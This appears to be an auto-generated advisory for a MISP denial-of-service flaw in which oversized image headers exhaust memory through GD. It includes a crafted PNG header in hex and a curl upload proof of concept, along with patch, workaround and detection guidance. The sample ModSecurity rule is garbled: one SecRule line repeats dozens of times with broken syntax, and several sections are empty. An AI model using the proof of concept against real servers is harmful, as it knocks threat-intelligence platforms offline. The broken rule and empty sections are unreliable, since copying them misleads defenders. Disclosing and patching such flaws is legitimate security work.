CVE-2026-135250 — MISP — CWE-400 · CWE-770
MISP contains a denial-of-service vulnerability in its image processing pipeline. When generating attachment thumbnails or rendering event graph preview images, the application decodes user-supplied image data using the GD library without first validating the declared pixel dimensions in the image header. Because GD allocates its pixel buffers outside the scope of PHP's memory_limit directive, a crafted image with an extremely large declared resolution (for example, 20000 x 20000 pixels) can trigger a multi-gigabyte memory allocation during the decode step, exhausting available system memory and causing the PHP worker process or the host to become unresponsive. Preconditions: - An authenticated MISP user with permission to upload attachments or to create/view event graphs. - The ability to supply a crafted image file (e.g., a PNG with a valid header declaring oversized dimensions). Impact: - Denial of service: memory exhaustion leading to process crash or host unavailability. - No confidentiality or integrity impact is indicated by the evidence. Affected versions: MISP prior to 2.5.52.
MISP contains a denial-of-service vulnerability in its image processing pipeline. When generating attachment thumbnails or rendering event graph preview images, the application decodes user-supplied image data using the GD library without first validating the declared pixel dimensions in the image header. Because GD allocates its pixel buffers outside the scope of PHP's memory_limit directive, a crafted image with an extremely large declared resolution (for example, 20000 x 20000 pixels) can trigger a multi-gigabyte memory allocation during the decode step, exhausting available system memory and causing the PHP worker process or the host to become unresponsive. Preconditions: - An authenticated MISP user with permission to upload attachments or to create/view event graphs. - The ability to supply a crafted image file (e.g., a PNG with a valid header declaring oversized dimensions). Impact: - Denial of service: memory exhaustion leading to process crash or host unavailability. - No confidentiality or integrity impact is indicated by the evidence. Affected versions: MISP prior to 2.5.52.
🎯 What is this vulnerability?
Technical flaw
MISP (Malware Information Sharing Platform) versions ≤ 2.5.51 use PHP’s GD library to generate thumbnails for uploaded attachments and to render event‑graph preview images. The GD functions (imagecreatefrompng, imagecreatefromjpeg, etc.) allocate pixel buffers outside PHP’s memory_limit boundary. The code that calls GD does not validate the pixel dimensions declared in the image header before decoding.
When an attacker supplies an image whose header declares an extremely large resolution (e.g., 20 000 × 20 000 px), GD attempts to allocate a buffer of roughly 20 000 × 20 000 × 4 bytes ≈ 1.6 GB (for RGBA).
Because this allocation bypasses PHP’s memory limits, the process can consume all available RAM, triggering a kernel OOM killer or causing the PHP worker to crash. The result is a Denial‑of‑Service (DoS) that affects the entire web application or the host.
CWE mapping
- CWE‑400 – Uncontrolled Resource Consumption
- CWE‑770 – Allocation of Unbounded Resources
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L) – no special conditions
- Privileges Required: Low (PR:L) – any authenticated user with upload rights
- User Interaction: None (UI:N)
- Impact: High Availability (VA:H) – no confidentiality or integrity impact
Authentication / Authorization
The vulnerability is only exploitable by an authenticated user who has permission to upload attachments or to create/view event graphs. No unauthenticated or privilege‑escalation step is required.
CVSS 4.0
⚡ Attack Chain
1. Discovery & Reconnaissance
| Step | Technique | What to look for |
|---|---|---|
| Identify MISP | HTTP banner, /api/v1/info, or / page | MISP v2.5.51 in the response |
| Version check | GET /api/v1/info (requires API key) | JSON field "version": "2.5.51" |
| Permission check | Try to upload a small image via /attributes/add (or the UI) | Successful upload → user has upload rights |
Note: The exact upload endpoint (/attributes/add,/api/v1/attributes, or the UI form) is not specified in the CVE. The following PoC uses the most common REST endpoint/attributes/addfor illustration.
2. Exploitation
Goal: Trigger GD to allocate >1 GB memory by uploading a crafted image.Crafting the image
A minimal PNG that declares 20 000 × 20 000 pixels but contains no pixel data (the decoder will still allocate the buffer).89 50 4E 47 0D 0A 1A 0A # PNG signature
00 00 00 0D 49 48 44 52 # IHDR chunk header
00 00 4E 20 00 00 4E 20 # width=20000, height=20000 (big‑endian)
08 06 00 00 00 # bit depth=8, color=RGBA, compression=deflate, filter=none, interlace=none
...The full binary can be generated with a small script or by editing a PNG header in a hex editor.
Base64‑encoded payload (truncated for brevity):
iVBORw0KGgoAAAANSUhEUgAA...PoC (illustrative)
# Assume API key is stored in $API_KEY
# The endpoint /attributes/add accepts multipart/form-data
curl -k \
-H "Authorization: ${API_KEY}" \
-F "type=attachment" \
-F "value=@/tmp/huge.png" \
-F "category=Other" \
-F "comment=DoS test" \
https://misp.example.com/attributes/addWhat happens:
1. MISP receives the multipart request.
2. The attachment handler passes the file to GD (imagecreatefrompng).
3. GD reads the header, sees 20 000 × 20 000, and allocates ~1.6 GB.
4. The PHP worker runs out of RAM → OOM → process crash or host becomes unresponsive.
3. Post‑exploitation
The impact is purely Availability.🌍 Real World Impact
| Impact | CVSS 4.0 Indicator | Practical consequence |
|---|---|---|
| Availability | VA:H | Service outage for all users; potential downtime for the entire MISP instance. |
| Confidentiality | VC:N | No data leakage. |
| Integrity | VI:N | No data tampering. |
| Privilege Escalation | PR:L | Only requires normal upload rights. |
| User Interaction | UI:N | No UI needed; automated upload suffices. |
Operational risk
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected | Fixed in |
|---|---|
| MISP 2.5.51 and earlier | 2.5.52 (or later) |
Action:
git checkout v2.5.52 or apt-get install misp (if using a package manager). /api/v1/info.2. Workarounds (if upgrade is not immediately possible)
| Mitigation | How to implement |
|---|---|
| Restrict upload permissions | Remove upload capability from untrusted roles ($user->setCapability('upload', false)). |
| Validate image dimensions server‑side | Add a pre‑processing step: read the PNG/JPEG header, check width × height against a safe threshold (e.g., 5 000 × 5 000). Reject if exceeded. |
| Use a separate image‑processing worker | Offload thumbnail generation to a dedicated service (e.g., ImageMagick, Pillow) that can enforce memory limits. |
Set PHP memory_limit lower | While GD bypasses this, it still helps mitigate other memory‑heavy operations. |
| Deploy a WAF rule | Example ModSecurity rule to block large image dimensions:
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"phase:2,chain,block,msg:'Large image upload blocked'"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"
SecRule REQUEST_HEADERS:Content-Type "image/(png|jpeg)" \
"chain,chain,log"(The rule above is a simplified illustration; a production rule should parse the PNG/JPEG header to extract the width/height and compare against a threshold.)
3. Detection
| Indicator | Log source | Sample pattern |
|---|---|---|
| PHP fatal error – memory exhaustion | PHP error log (/var/log/php-fpm/www-error.log) | Allowed memory size of \d+ bytes exhausted |
| GD error – image too large | PHP error log | GD error: image too large |
| Repeated large uploads | Apache/Nginx access log | POST /attributes/add with Content-Type: image/png and Content-Length: > 10MB |
| OOM killer messages | /var/log/syslog or /var/log/kern.log | Out of memory: Kill process |
Automated detection
⚠️ Urgency
| Criterion | Assessment |
|---|---|
| CVSS score | 7.1 (High) |
| Exploit complexity | Low – no special conditions, only authenticated upload rights |
| Impact | Availability only, but can bring down the entire MISP instance |
| CISA KEV | No (not a known exploit kit) |
| Patch availability | Fixed in 2.5.52 (released 23‑11‑2026) |
Recommendation:
By addressing this flaw promptly, you eliminate the possibility of a memory‑based DoS that could cripple threat‑intelligence workflows and compromise the availability of critical security operations.
[🤖 CVE Professor AI Security Engine]
FOFA Query